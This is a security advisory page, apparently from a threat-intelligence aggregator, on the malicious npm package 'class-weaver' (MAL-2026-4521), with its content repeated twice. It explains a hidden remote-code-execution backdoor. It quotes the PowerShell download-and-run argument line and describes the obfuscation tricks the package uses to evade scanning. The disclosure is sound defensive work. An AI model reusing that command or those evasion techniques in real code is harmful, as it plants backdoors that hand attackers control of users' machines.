Malicious code in class-weaver (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7) class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",`irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code. ## Source: ghsa-malware (5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The 'class-weaver' npm package (version 1.0.0) masquerades as a className/theme utility but contains a concealed remote code execution backdoor within its applyGlobalStyles({palette, accents}) function. This function uses AES-256-CBC decryption with a hardcoded key to decode attacker-controlled input and then executes a PowerShell command that downloads and runs arbitrary JavaScript code on Windows systems. The package uses obfuscation techniques, including string-split array-join imports of node:crypto and node:child_process modules and numerous filler functions, to hide the malicious payload and evade static analysis. Invoking the documented API with attacker-controlled parameters triggers the malicious behavior, effectively giving an attacker full control over the affected system.
Potential Impact
Any computer with the 'class-weaver' package version 1.0.0 installed or running is considered fully compromised. The malicious code allows remote code execution, enabling attackers to execute arbitrary JavaScript code with the privileges of the running process. This can lead to complete system takeover, exposure of secrets and keys, and persistent backdoors. Removal of the package alone does not guarantee elimination of all malicious artifacts or access, as the attacker may have established further control.
Mitigation Recommendations
No official patch or fix is currently available for this malicious package. Immediate removal of the 'class-weaver' package version 1.0.0 is strongly recommended. Systems with this package installed should be treated as compromised; all secrets and credentials stored on these systems must be rotated from a secure, unaffected environment. Monitor for any signs of persistent compromise and consider full system reimaging if feasible. Avoid using this package or any untrusted packages from npm without thorough vetting.
Malicious code in class-weaver (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7) class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",`irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code. ## Source: ghsa-malware (5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'class-weaver' npm package (version 1.0.0) masquerades as a className/theme utility but contains a concealed remote code execution backdoor within its applyGlobalStyles({palette, accents}) function. This function uses AES-256-CBC decryption with a hardcoded key to decode attacker-controlled input and then executes a PowerShell command that downloads and runs arbitrary JavaScript code on Windows systems. The package uses obfuscation techniques, including string-split array-join imports of node:crypto and node:child_process modules and numerous filler functions, to hide the malicious payload and evade static analysis. Invoking the documented API with attacker-controlled parameters triggers the malicious behavior, effectively giving an attacker full control over the affected system.
Potential Impact
Any computer with the 'class-weaver' package version 1.0.0 installed or running is considered fully compromised. The malicious code allows remote code execution, enabling attackers to execute arbitrary JavaScript code with the privileges of the running process. This can lead to complete system takeover, exposure of secrets and keys, and persistent backdoors. Removal of the package alone does not guarantee elimination of all malicious artifacts or access, as the attacker may have established further control.
Mitigation Recommendations
No official patch or fix is currently available for this malicious package. Immediate removal of the 'class-weaver' package version 1.0.0 is strongly recommended. Systems with this package installed should be treated as compromised; all secrets and credentials stored on these systems must be rotated from a secure, unaffected environment. Monitor for any signs of persistent compromise and consider full system reimaging if feasible. Avoid using this package or any untrusted packages from npm without thorough vetting.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-4521
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-jx4m-wmh7-wmhr"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a55ff5168715ace432f00b0
Added to database: 07/14/2026, 09:20:17 UTC
Last enriched: 07/14/2026, 09:26:06 UTC
Last updated: 07/30/2026, 21:42:29 UTC
Views: 32
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.